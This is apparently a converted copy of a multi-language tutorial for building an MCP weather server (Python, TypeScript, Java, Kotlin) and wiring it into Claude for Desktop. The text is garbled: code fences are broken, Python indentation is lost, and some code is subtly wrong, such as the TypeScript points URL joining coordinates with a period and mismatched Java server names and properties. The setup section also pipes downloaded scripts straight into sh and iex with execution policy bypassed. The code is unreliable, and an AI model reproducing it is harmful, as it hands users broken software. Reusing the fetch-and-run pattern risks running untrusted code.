We'll build a server that exposes two tools: `get_alerts` and `get_forecast`. Then we'll connect the server to an MCP host (in this case, Claude for Desktop):



### 참고

Servers can connect to any client. We've chosen Claude for Desktop here for simplicity, but we also have a guide on [building your own client](#).

## Core MCP Concepts

MCP servers can provide three main types of capabilities:

1. **Resources**: File-like data that can be read by clients (like API responses or file contents)
2. **Tools**: Functions that can be called by the LLM (with user approval)
3. **Prompts**: Pre-written templates that help users accomplish specific tasks

This tutorial will primarily focus on tools.

## Python

Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](#)

## Prerequisite knowledge

This quickstart assumes you have familiarity with:

- Python
- LLMs like Claude

## Logging in MCP Servers

When implementing MCP servers, be careful about how you handle logging:



**For STDIO-based servers:** Never write to stdout. Writing to stdout will corrupt the JSON-RPC messages and break your server. The `print()` function writes to stdout by default, so keep it out of a STDIO server entirely.

**For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.

## Best Practices

- Use the standard library `logging` module, which writes to stderr.
- Create one logger per module with `logging.getLogger(__name__)` and call it from your tools.

## Quick Examples

```
import logging

logger = logging.getLogger(__name__)

❌ Bad (STDIO)
print("Processing request")

✅ Good (STDIO)
logger.info("Processing request") # writes to stderr
```

## System requirements

- Python 3.10 or higher installed.
- You must use the Python MCP SDK 2.0.0 or higher.

## Set up your environment

First, let's install `uv` and set up our Python project and environment:

```
```bash macOS/Linux curl -Lsf https://astral.sh/uv/install.sh | sh
```

```
```powershell Windows
powershell -ExecutionPolicy Bypass -c "irm https://astral.sh/uv/install.ps1 | iex"
```

Make sure to restart your terminal afterwards to ensure that the `uv` command gets picked up.

Now, let's create and set up our project:

```
```bash macOS/Linux
```

Create a new directory for our project

```
uv init weather cd weather
```

Create virtual environment and activate it

```
uv venv source .venv/bin/activate
```

Install dependencies

```
uv add "mcp[cli]"
```

Create our server file

```
touch weather.py
```

```
```powershell Windows
Create a new directory for our project
uv init weather
cd weather

Create virtual environment and activate it
uv venv
.venv\Scripts\activate

Install dependencies
uv add mcp[cli]

Create our server file
new-item weather.py
```

Now let's dive into building your server.

## Building your server

---

### Importing packages and setting up the instance

Add these to the top of your `weather.py`:

```
from typing import Any
```

```
import httpx2
from mcp.server import MCPServer

Initialize MCPServer
mcp = MCPServer("weather")

Constants
NWS_API_BASE = "https://api.weather.gov"
USER_AGENT = "weather-app/1.0"
```

`httpx2` is the HTTP client the SDK itself depends on, so installing `mcp` already brought it in.

The `MCPServer` class uses Python type hints and docstrings to automatically generate tool definitions, making it easy to create and maintain MCP tools.

## Helper functions

Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:

```
async def make_nws_request(url: str) -> dict[str, Any] | None:
 """Make a request to the NWS API with proper error handling."""
 headers = {"User-Agent": USER_AGENT, "Accept": "application/geo+json"}
 async with httpx2.AsyncClient() as client:
 try:
 response = await client.get(url, headers=headers, timeout=30.0)
 response.raise_for_status()
 return response.json()
 except Exception:
 return None

def format_alert(feature: dict) -> str:
 """Format an alert feature into a readable string."""
 props = feature["properties"]
 return f"""
Event: {props.get("event", "Unknown")}
Area: {props.get("areaDesc", "Unknown")}
Severity: {props.get("severity", "Unknown")}
Description: {props.get("description", "No description available")}
Instructions: {props.get("instruction", "No specific instructions provided")}
"""
```

## Implementing tool execution

The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:

```
@mcp.tool()
async def get_alerts(state: str) -> str:
```

```

 """Get weather alerts for a US state.

Args:
 state: Two-letter US state code (e.g. CA, NY)
 """
 url = f"{NWS_API_BASE}/alerts/active/area/{state}"
 data = await make_nws_request(url)

 if not data or "features" not in data:
 return "Unable to fetch alerts or no alerts found."

 if not data["features"]:
 return "No active alerts for this state."

 alerts = [format_alert(feature) for feature in data["features"]]
 return "\n--\n".join(alerts)

@mcp.tool()
async def get_forecast(latitude: float, longitude: float) -> str:
 """Get weather forecast for a location.

Args:
 latitude: Latitude of the location
 longitude: Longitude of the location
 """
 # First get the forecast grid endpoint
 points_url = f"{NWS_API_BASE}/points/{latitude},{longitude}"
 points_data = await make_nws_request(points_url)

 if not points_data:
 return "Unable to fetch forecast data for this location."

 # Get the forecast URL from the points response
 forecast_url = points_data["properties"]["forecast"]
 forecast_data = await make_nws_request(forecast_url)

 if not forecast_data:
 return "Unable to fetch detailed forecast."

 # Format the periods into a readable forecast
 periods = forecast_data["properties"]["periods"]
 forecasts = []
 for period in periods[:5]: # Only show next 5 periods
 forecast = f"""
{period["name"]}:
Temperature: {period["temperature"]}°{period["temperatureUnit"]}
Wind: {period["windSpeed"]} {period["windDirection"]}
Forecast: {period["detailedForecast"]}
 """
 forecasts.append(forecast)

```

```
return "\n---\n".join(forecasts)
```

## Running the server

Finally, let's initialize and run the server:

```
if __name__ == "__main__":
 mcp.run(transport="stdio")
```

Your server is complete! Run `uv run weather.py` to start the MCP server, which will listen for messages from MCP hosts.

Let's now test your server from an existing MCP host, Claude for Desktop.

## Testing your server with Claude for Desktop

First, make sure you have Claude for Desktop installed. [You can install the latest version here.](#) If you already have Claude for Desktop, **make sure it's updated to the latest version.**

We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.

For example, if you have [VS Code](#) installed:

```
```bash Linux code ~/.config/Claude/claude_desktop_config.json
```

```
```bash macOS  
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```

```
```powershell Windows code $env:AppData\Claude\claude_desktop_config.json
```

You'll then add your servers in the ``mcpServers`` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.

In this case, we'll add our single weather server like so:

```
```json macOS/Linux  
{
 "mcpServers": {
 "weather": {
 "command": "uv",
 "args": [

```

```

 "--directory",
 "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather",
 "run",
 "weather.py"
]
}
}
}

```

```

` ``json Windows { "mcpServers": { "weather": { "command": "uv", "args": ["--directory",
"C:\ABSOLUTE\PATH\TO\PARENT\FOLDER\weather", "run", "weather.py"] } } }

```

```
<div class="callout warning" markdown="1">
```

```
<p class="callout-label">주의</p>
```

You may need to put the full path to the `uv` executable in the `command` field. You can get this by running `which uv` on macOS/Linux or `where uv` on Windows.

```
</div>
```

```
<div class="callout note" markdown="1">
```

```
<p class="callout-label">참고</p>
```

Make sure you pass in the absolute path to your server. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.

```
</div>
```

This tells Claude for Desktop:

1. There's an MCP server named "weather"
2. To launch it by running `uv --directory /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather run weather.py`

Save the file, and restart **Claude for Desktop**.

**\*\*TypeScript\*\***

Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](<https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript>)

### Prerequisite knowledge

This quickstart assumes you have familiarity with:

- TypeScript
- LLMs like Claude

### ### Logging in MCP Servers

When implementing MCP servers, be careful about how you handle logging:

**\*\*For STDIO-based servers:\*\*** Never use `console.log()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.

**\*\*For HTTP-based servers:\*\*** Standard output logging is fine since it doesn't interfere with HTTP responses.

### ### Best Practices

- Use `console.error()` which writes to stderr, or use a logging library that writes to stderr or files.

### ### Quick Examples

```
```javascript
// ❌ Bad (STDIO)
console.log("Server started");

// ✅ Good (STDIO)
console.error("Server started"); // stderr is safe
```

System requirements

For TypeScript, make sure you have the latest version of Node installed.

Set up your environment

First, let's install Node.js and npm if you haven't already. You can download them from nodejs.org. Verify your Node.js installation:

```
node --version
npm --version
```

For this tutorial, you'll need Node.js version 20 or higher.

Now, let's create and set up our project:

```
```bash macOS/Linux
```

# Create a new directory for our project

---

```
mkdir weather cd weather
```

## Initialize a new npm project

---

```
npm init -y
```

## Install dependencies

---

```
npm install @modelcontextprotocol/server zod npm install -D @types/node typescript
```

## Create our files

---

```
mkdir src touch src/index.ts
```

```
```powershell Windows
# Create a new directory for our project
md weather
cd weather

# Initialize a new npm project
npm init -y

# Install dependencies
npm install @modelcontextprotocol/server zod
npm install -D @types/node typescript

# Create our files
md src
new-item src\index.ts
```

Update your package.json to add type: "module" and a build script:

```
```json package.json { "type": "module", "bin": { "weather": "./build/index.js" }, "scripts": { "build":
"tsc && chmod 755 build/index.js" }, "files": ["build"] }
```

Create a `tsconfig.json` in the root of your project:

```
```json tsconfig.json
{
```



```

"compilerOptions": {
  "target": "ES2022",
  "module": "Node16",
  "moduleResolution": "Node16",
  "types": ["node"],
  "outDir": "./build",
  "rootDir": "./src",
  "strict": true,
  "esModuleInterop": true,
  "skipLibCheck": true,
  "forceConsistentCasingInFileNames": true
},
"include": ["src/**/*.ts"],
"exclude": ["node_modules"]
}

```

Now let's dive into building your server.

Building your server

Importing packages and setting up the instance

Add these to the top of your `src/index.ts`:

```

import { McpServer } from "@modelcontextprotocol/server";
import { StdioServerTransport } from "@modelcontextprotocol/server/stdio";
import { z } from "zod";

const NWS_API_BASE = "https://api.weather.gov";
const USER_AGENT = "weather-app/1.0";

// Create server instance
const server = new McpServer({
  name: "weather",
  version: "1.0.0",
});

```

Helper functions

Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:

```

// Helper function for making NWS API requests
async function makeNWSRequest<T>(url: string): Promise<T | null> {
  const headers = {
    "User-Agent": USER_AGENT,
    Accept: "application/geo+json",
  };
}

```

```

try {
  const response = await fetch(url, { headers });
  if (!response.ok) {
    throw new Error(`HTTP error! status: ${response.status}`);
  }
  return (await response.json()) as T;
} catch (error) {
  console.error("Error making NWS request:", error);
  return null;
}
}

```

```

interface AlertFeature {
  properties: {
    event?: string;
    areaDesc?: string;
    severity?: string;
    status?: string;
    headline?: string;
  };
}

```

```

// Format alert data
function formatAlert(feature: AlertFeature): string {
  const props = feature.properties;
  return [
    `Event: ${props.event || "Unknown"}`,
    `Area: ${props.areaDesc || "Unknown"}`,
    `Severity: ${props.severity || "Unknown"}`,
    `Status: ${props.status || "Unknown"}`,
    `Headline: ${props.headline || "No headline"}`,
    "---",
  ].join("\n");
}

```

```

interface ForecastPeriod {
  name?: string;
  temperature?: number;
  temperatureUnit?: string;
  windSpeed?: string;
  windDirection?: string;
  shortForecast?: string;
}

```

```

interface AlertsResponse {
  features: AlertFeature[];
}

```

```

interface PointsResponse {
  properties: {

```

```

    forecast?: string;
  };
}

interface ForecastResponse {
  properties: {
    periods: ForecastPeriod[];
  };
}

```

Implementing tool execution

The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:

```

// Register weather tools

server.registerTool(
  "get_alerts",
  {
    description: "Get weather alerts for a state",
    inputSchema: z.object({
      state: z
        .string()
        .length(2)
        .describe("Two-letter state code (e.g. CA, NY)"),
    }),
  },
  async ({ state }) => {
    const stateCode = state.toUpperCase();
    const alertsUrl = `${NWS_API_BASE}/alerts?area=${stateCode}`;
    const alertsData = await makeNWSRequest<AlertsResponse>(alertsUrl);

    if (!alertsData) {
      return {
        content: [
          {
            type: "text",
            text: "Failed to retrieve alerts data",
          },
        ],
      };
    }

    const features = alertsData.features || [];
    if (!features.length) {
      return {
        content: [
          {
            type: "text",
            text: `No active alerts for ${stateCode}`,
          },
        ],
      };
    }
  }
);

```

```

    },
  ],
};
}

const formattedAlerts = features.map(formatAlert);
const alertsText = `Active alerts for ${stateCode}: \n\n${formattedAlerts.join("\n")}`;

return {
  content: [
    {
      type: "text",
      text: alertsText,
    },
  ],
};
},
);

server.registerTool(
  "get_forecast",
  {
    description: "Get weather forecast for a location",
    inputSchema: z.object({
      latitude: z
        .number()
        .min(-90)
        .max(90)
        .describe("Latitude of the location"),
      longitude: z
        .number()
        .min(-180)
        .max(180)
        .describe("Longitude of the location"),
    }),
  },
  async ({ latitude, longitude }) => {
    // Get grid point data
    const pointsUrl = `${NWS_API_BASE}/points/${latitude.toFixed(4)}.${longitude.toFixed(4)}`;
    const pointsData = await makeNWSRequest<PointsResponse>(pointsUrl);

    if (!pointsData) {
      return {
        content: [
          {
            type: "text",
            text: `Failed to retrieve grid point data for coordinates: ${latitude}, ${longitude}. This location may not be supported by the NWS API (only US locations are supported).`,
          },
        ],
      };
    }
  }
);

```

```

}

const forecastUrl = pointsData.properties?.forecast;
if (!forecastUrl) {
  return {
    content: [
      {
        type: "text",
        text: "Failed to get forecast URL from grid point data",
      },
    ],
  };
}

// Get forecast data
const forecastData = await makeNWSRequest<ForecastResponse>(forecastUrl);
if (!forecastData) {
  return {
    content: [
      {
        type: "text",
        text: "Failed to retrieve forecast data",
      },
    ],
  };
}

const periods = forecastData.properties?.periods || [];
if (periods.length === 0) {
  return {
    content: [
      {
        type: "text",
        text: "No forecast periods available",
      },
    ],
  };
}

// Format forecast periods
const formattedForecast = periods.map((period: ForecastPeriod) =>
[
  `${period.name || "Unknown"}:`,
  `Temperature: ${period.temperature || "Unknown"}°${period.temperatureUnit || "F"}`,
  `Wind: ${period.windSpeed || "Unknown"} ${period.windDirection || ""}`,
  `${period.shortForecast || "No forecast available"}`,
  "---",
].join("\n"),
);

const forecastText = `Forecast for ${latitude}, ${longitude}:\n\n${formattedForecast.join("\n")}`

```

```
`;

return {
  content: [
    {
      type: "text",
      text: forecastText,
    },
  ],
};
},
);
```

Running the server

Finally, implement the main function to run the server:

```
async function main() {
  const transport = new StdioServerTransport();
  await server.connect(transport);
  console.error("Weather MCP Server running on stdio");
}

main().catch((error) => {
  console.error("Fatal error in main():", error);
  process.exit(1);
});
```

Make sure to run `npm run build` to build your server! This is a very important step in getting your server to connect.

Let's now test your server from an existing MCP host, Claude for Desktop.

Testing your server with Claude for Desktop

First, make sure you have Claude for Desktop installed. [You can install the latest version here.](#) If you already have Claude for Desktop, **make sure it's updated to the latest version.**

We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.

For example, if you have [VS Code](#) installed:

```
` ` bash Linux code ~/.config/Claude/claude_desktop_config.json
```

```
```bash macOS
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```

```
```powershell Windows code $env:AppData\Claude\claude_desktop_config.json
```

You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.

In this case, we'll add our single weather server like so:

```
```json macOS/Linux
{
 "mcpServers": {
 "weather": {
 "command": "node",
 "args": ["/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js"]
 }
 }
}
```

```
```json Windows { "mcpServers": { "weather": { "command": "node", "args":
["C:\PATH\TO\PARENT\FOLDER\weather\build\index.js"] } } }
```

This tells Claude for Desktop:

1. There's an MCP server named "weather"
2. Launch it by running `node /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js`

Save the file, and restart **Claude for Desktop**.

****Java****

<div class="callout note" markdown="1">

<p class="callout-label">참고</p>

This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters. To learn how to create sync and async MCP Servers, manually, consult the [Java SDK Server](<https://java.sdk.modelcontextprotocol.io/>) documentation.

</div>

Let's get started with building our weather server!

[You can find the complete code for what we'll be building here.](<https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-studio-server>)

For more information, see the [MCP Server Boot Starter](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html) reference documentation.
For manual MCP Server implementation, refer to the [MCP Server Java SDK documentation](https://java.sdk.modelcontextprotocol.io/).

Logging in MCP Servers

When implementing MCP servers, be careful about how you handle logging:

****For STDIO-based servers:**** Never use `System.out.println()` or `System.out.print()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.

****For HTTP-based servers:**** Standard output logging is fine since it doesn't interfere with HTTP responses.

Best Practices

- Use a logging library that writes to stderr or files.
- Ensure any configured logging library will not write to stdout.

System requirements

- Java 17 or higher installed.
- [Spring Boot 3.3.x](https://docs.spring.io/spring-boot/installing.html) or higher

Set up your environment

Use the [Spring Initializer](https://start.spring.io/) to bootstrap the project.

You will need to add the following dependencies:

```
```\xml Maven
<dependencies>
 <dependency>
 <groupId>org.springframework.ai</groupId>
 <artifactId>spring-ai-starter-mcp-server</artifactId>
 </dependency>

 <dependency>
 <groupId>org.springframework</groupId>
 <artifactId>spring-web</artifactId>
 </dependency>
</dependencies>
```

```
```\groovy Gradle dependencies { implementation platform("org.springframework.ai:spring-ai-starter-mcp-server") implementation platform("org.springframework:spring-web") }
```

Then configure your application by setting the application properties:


```
```bash application.properties
spring.main.bannerMode=off
logging.pattern.console=
```

``yaml application.yml logging: pattern: console: spring: main: banner-mode: off

The [Server Configuration Properties]([https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html#\\_configuration\\_properties](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html#_configuration_properties)) documents all available properties.

Now let's dive into building your server.

## Building your server

### Weather Service

Let's implement a [WeatherService.java](<https://github.com/spring-projects/spring-ai-examples/blob/main/model-context-protocol/weather/starter-stdio-server/src/main/java/org/springframework/ai/mcp/sample/server/WeatherService.java>) that uses a REST client to query the data from the National Weather Service API:

```
```java
@Service
public class WeatherService {

    private final RestClient restClient;

    public WeatherService() {
        this.restClient = RestClient.builder()
            .baseUrl("https://api.weather.gov")
            .defaultHeader("Accept", "application/geo+json")
            .defaultHeader("User-Agent", "WeatherApiClient/1.0 (your@email.com)")
            .build();
    }

    @Tool(description = "Get weather forecast for a specific latitude/longitude")
    public String getWeatherForecastByLocation(
        double latitude,    // Latitude coordinate
        double longitude    // Longitude coordinate
    ) {
        // Returns detailed forecast including:
        // - Temperature and unit
        // - Wind speed and direction
        // - Detailed forecast description
    }

    @Tool(description = "Get weather alerts for a US state")
    public String getAlerts(
        @ToolParam(description = "Two-letter US state code (e.g. CA, NY)") String state
    ) {
    }
}
```

```

) {
    // Returns active alerts including:
    // - Event type
    // - Affected area
    // - Severity
    // - Description
    // - Safety instructions
}

// .....
}

```

The `@Service` annotation will auto-register the service in your application context. The Spring AI `@Tool` annotation makes it easy to create and maintain MCP tools.

The auto-configuration will automatically register these tools with the MCP server.

Create your Boot Application

```

@SpringBootApplication
public class McpServerApplication {

    public static void main(String[] args) {
        SpringApplication.run(McpServerApplication.class, args);
    }

    @Bean
    public ToolCallbackProvider weatherTools(WeatherService weatherService) {
        return MethodToolCallbackProvider.builder().toolObjects(weatherService).build();
    }
}

```

Uses the `MethodToolCallbackProvider` utils to convert the `@Tools` into actionable callbacks used by the MCP server.

Running the server

Finally, let's build the server:

```
./mvnw clean install
```

This will generate an `mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` file within the `target` folder.

Let's now test your server from an existing MCP host, Claude for Desktop.

Testing your server with Claude for Desktop

First, make sure you have Claude for Desktop installed. [You can install the latest version here](#). If you already have Claude for Desktop, **make sure it's updated to the latest version**.

We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.

For example, if you have [VS Code](#) installed:

```
```bash Linux code ~/.config/Claude/claude_desktop_config.json
```

```
```bash macOS
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```

```
```powershell Windows code $env:AppData\Claude\claude_desktop_config.json
```

You'll then add your servers in the `mcpServers` key.

The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.

In this case, we'll add our single weather server like so:

```
```json macOS/Linux
{
  "mcpServers": {
    "spring-ai-mcp-weather": {
      "command": "java",
      "args": [
        "-Dspring.ai.mcp.server.stdio=true",
        "-jar",
        "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
      ]
    }
  }
}
```

```
```json Windows { "mcpServers": { "spring-ai-mcp-weather": { "command": "java", "args": [ "-Dspring.ai.mcp.server.transport=STDIO", "-jar", "C:\ABSOLUTE\PATH\TO\PARENT\FOLDER\weather\mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar" ] } } }
```

```
<div class="callout note" markdown="1">
```

```
<p class="callout-label">참고</p>
```

Make sure you pass in the absolute path to your server.

```
</div>
```

This tells Claude for Desktop:

1. There's an MCP server named "my-weather-server"
2. To launch it by running ``java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar``

Save the file, and restart **Claude for Desktop**.

## Testing your server with Java client

### Create an MCP Client manually

Use the `McpClient` to connect to the server:

```
```java
var stdioParams = ServerParameters.builder("java")
    .args("-jar", "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar")
    .build();

var stdioTransport = new StdioClientTransport(stdioParams);

var mcpClient = McpClient.sync(stdioTransport).build();

mcpClient.initialize();

ListToolsResult toolsList = mcpClient.listTools();

CallToolResult weather = mcpClient.callTool(
    new CallToolRequest("getWeatherForecastByLocation",
        Map.of("latitude", "47.6062", "longitude", "-122.3321")));

CallToolResult alert = mcpClient.callTool(
    new CallToolRequest("getAlerts", Map.of("state", "NY")));

mcpClient.closeGracefully();
```
```

## Use MCP Client Boot Starter

Create a new boot starter application using the `spring-ai-starter-mcp-client` dependency:

```
<dependency>
 <groupId>org.springframework.ai</groupId>
 <artifactId>spring-ai-starter-mcp-client</artifactId>
</dependency>
```

and set the `spring.ai.mcp.client.stdio.servers-configuration` property to point to your `claude_desktop_config.json`. You can reuse the existing Anthropic Desktop configuration:

```
spring.ai.mcp.client.stdio.servers-configuration=file:PATH/TO/claude_desktop_config.json
```

When you start your client application, the auto-configuration will automatically create MCP clients from the `claude_desktop_config.json`.

For more information, see the [MCP Client Boot Starters](#) reference documentation.

## More Java MCP Server examples

---

The [starter-webflux-server](#) demonstrates how to create an HTTP-based MCP server with the WebFlux starter. Set the `spring.ai.mcp.server.protocol=STREAMABLE` property to serve it over Streamable HTTP. It showcases how to define and register MCP Tools, Resources, and Prompts, using the Spring Boot's auto-configuration capabilities.

### Kotlin

Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](#)

### Prerequisite knowledge

This quickstart assumes you have familiarity with:

- Kotlin
- LLMs like Claude

### Logging in MCP Servers

When implementing MCP servers, be careful about how you handle logging:

**For STUDIO-based servers:** Never use `println()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.

**For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.

### Best Practices

- Use a logging library that writes to stderr or files.

## System requirements

- JDK 11 or higher installed.

## Set up your environment

First, let's install `java` and `gradle` if you haven't already. You can download `java` from [official Oracle JDK website](#). Verify your `java` installation:

```
java --version
```

Now, let's create and set up your project:

```
```bash macOS/Linux
```

Create a new directory for our project

```
mkdir weather cd weather
```

Initialize a new kotlin project

```
gradle init
```

```
```powershell Windows
Create a new directory for our project
md weather
cd weather

Initialize a new kotlin project
gradle init
```

After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.

Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](#).

After creating the project, replace the contents of your `build.gradle.kts` with:

```
```kotlin build.gradle.kts // Check latest versions at
https://github.com/modelcontextprotocol/kotlin-sdk/releases val mcpVersion = "0.9.0" val
ktorVersion = "3.2.3" val slf4jVersion = "2.0.17"

plugins { kotlin("jvm") version "2.3.20" kotlin("plugin.serialization") version "2.3.20"
id("com.gradleup.shadow") version "8.3.9" application }
```

```
application { mainClass.set("MainKt") }
```

```
dependencies { implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")  
implementation("io.ktor:ktor-client-content-negotiation:$ktorVersion")  
implementation("io.ktor:ktor-serialization-kotlinx-json:$ktorVersion") implementation("io.ktor:ktor-  
client-cio:$ktorVersion") implementation("org.slf4j:slf4j-simple:$slf4jVersion") }
```

Verify that everything is set up correctly:

```
```bash  
./gradlew build
```

Now let's dive into building your server.

## Building your server

---

### Setting up the instance

Add a server initialization function:

```
fun runMcpServer() {
 val server = Server(
 Implementation(
 name = "weather",
 version = "1.0.0",
),
 ServerOptions(
 capabilities = ServerCapabilities(tools = ServerCapabilities.Tools(listChanged = true)),
),
)

 // register tools on server here

 val transport = StdioServerTransport(
 System.`in`.asInput(),
 System.out.asSink().buffered(),
)

 runBlocking {
 val session = server.createSession(transport)
 val done = Job()
 session.onClose {
 done.complete()
 }
 done.join()
 }
}
```

```
}
}
```

## Weather API helper functions

Next, let's add functions and data classes for querying and converting responses from the National Weather Service API:

```
val httpClient = HttpClient(CIO) {
 defaultRequest {
 url("https://api.weather.gov")
 headers {
 append("Accept", "application/geo+json")
 append("User-Agent", "WeatherApiClient/1.0")
 }
 contentType(ContentType.Application.Json)
 }
 install(ContentNegotiation) {
 json(Json { ignoreUnknownKeys = true })
 }
}

// Extension function to fetch weather alerts for a given state
suspend fun HttpClient.getAlerts(state: String): List<String> {
 val alerts = this.get("/alerts/active/area/$state").body<AlertsResponse>()
 return alerts.features.map { feature ->
 """
 Event: ${feature.properties.event}
 Area: ${feature.properties.areaDesc}
 Severity: ${feature.properties.severity}
 Status: ${feature.properties.status}
 Headline: ${feature.properties.headline}
 """.trimIndent()
 }
}

// Extension function to fetch forecast information for given latitude and longitude
suspend fun HttpClient.getForecast(latitude: Double, longitude: Double): List<String> {
 val points = this.get("/points/$latitude,$longitude").body<PointsResponse>()
 val forecastUrl = points.properties.forecast ?: error("No forecast URL available")
 val forecast = this.get(forecastUrl).body<ForecastResponse>()
 return forecast.properties.periods.map { period ->
 """
 ${period.name}:
 Temperature: ${period.temperature}°${period.temperatureUnit}
 Wind: ${period.windSpeed} ${period.windDirection}
 ${period.shortForecast}
 """.trimIndent()
 }
}
```



```

}

@Serializable
data class PointsResponse(val properties: PointsProperties)

@Serializable
data class PointsProperties(val forecast: String? = null)

@Serializable
data class ForecastResponse(val properties: ForecastProperties)

@Serializable
data class ForecastProperties(val periods: List<ForecastPeriod> = emptyList())

@Serializable
data class ForecastPeriod(
 val name: String? = null,
 val temperature: Int? = null,
 val temperatureUnit: String? = null,
 val windSpeed: String? = null,
 val windDirection: String? = null,
 val shortForecast: String? = null,
)

@Serializable
data class AlertsResponse(val features: List<AlertFeature> = emptyList())

@Serializable
data class AlertFeature(val properties: AlertProperties)

@Serializable
data class AlertProperties(
 val event: String? = null,
 val areaDesc: String? = null,
 val severity: String? = null,
 val status: String? = null,
 val headline: String? = null,
)

```

## Implementing tool execution

The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:

```

// Register weather tools

server.addTool(
 name = "get_alerts",
 description = "Get weather alerts for a US state. Input is a two-letter US state code (e.g. CA, NY)",
 inputSchema = ToolSchema(

```

```

 properties = buildJsonObject {
 putJsonObject("state") {
 put("type", "string")
 put("description", "Two-letter US state code (e.g. CA, NY)")
 }
 },
 required = listOf("state"),
),
) { request ->
 val state = request.arguments?.get("state")?.jsonPrimitive?.content
 ?: return@addTool CallToolResult(
 content = listOf(TextContent("The 'state' parameter is required.")),
)

 val alerts = httpClient.getAlerts(state)
 CallToolResult(content = alerts.map { TextContent(it) })
}

server.addTool(
 name = "get_forecast",
 description = "Get weather forecast for a location. Note: only US locations are supported by the NWS API.",
 inputSchema = ToolSchema(
 properties = buildJsonObject {
 putJsonObject("latitude") {
 put("type", "number")
 put("description", "Latitude of the location")
 }
 putJsonObject("longitude") {
 put("type", "number")
 put("description", "Longitude of the location")
 }
 },
 required = listOf("latitude", "longitude"),
),
) { request ->
 val latitude = request.arguments?.get("latitude")?.jsonPrimitive?.doubleOrNull
 val longitude = request.arguments?.get("longitude")?.jsonPrimitive?.doubleOrNull
 if (latitude == null || longitude == null) {
 return@addTool CallToolResult(
 content = listOf(TextContent("The 'latitude' and 'longitude' parameters are required.")),
)
 }

 val forecast = httpClient.getForecast(latitude, longitude)
 CallToolResult(content = forecast.map { TextContent(it) })
}

```

## Running the server

Finally, implement the main function to run the server:

```
fun main() = runMcpServer()
```

You can run the server directly during development:

```
./gradlew run
```

For production use, build the shadow JAR:

```
./gradlew build
java -jar build/libs/weather-0.1.0-all.jar
```

Let's now test your server from an existing MCP host, Claude for Desktop.

## Testing your server with Claude for Desktop

First, make sure you have Claude for Desktop installed. [You can install the latest version here](#). If you already have Claude for Desktop, **make sure it's updated to the latest version**.

We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.

For example, if you have [VS Code](#) installed:

```
` `` bash Linux code ~/.config/Claude/claude_desktop_config.json
```

```
`` ` bash macOS
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```

```
` `` powershell Windows code $env:AppData\Claude\claude_desktop_config.json
```

You'll then add your servers in the ``mcpServers`` key.

The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.

In this case, we'll add our single weather server like so:

```
`` ` json macOS/Linux
{
 "mcpServers": {
```

```

 "weather": {
 "command": "java",
 "args": [
 "-jar",
 "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar"
]
 }
 }
}

```

```

``json Windows { "mcpServers": { "weather": { "command": "java", "args": ["-jar",
"C:\PATH\TO\PARENT\FOLDER\weather\build\libs\weather-0.1.0-all.jar"] } } }

```

This tells Claude for Desktop:

1. There's an MCP server named "weather"
2. Launch it by running ``java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar``

Save the file, and restart **Claude for Desktop**.

**C#**

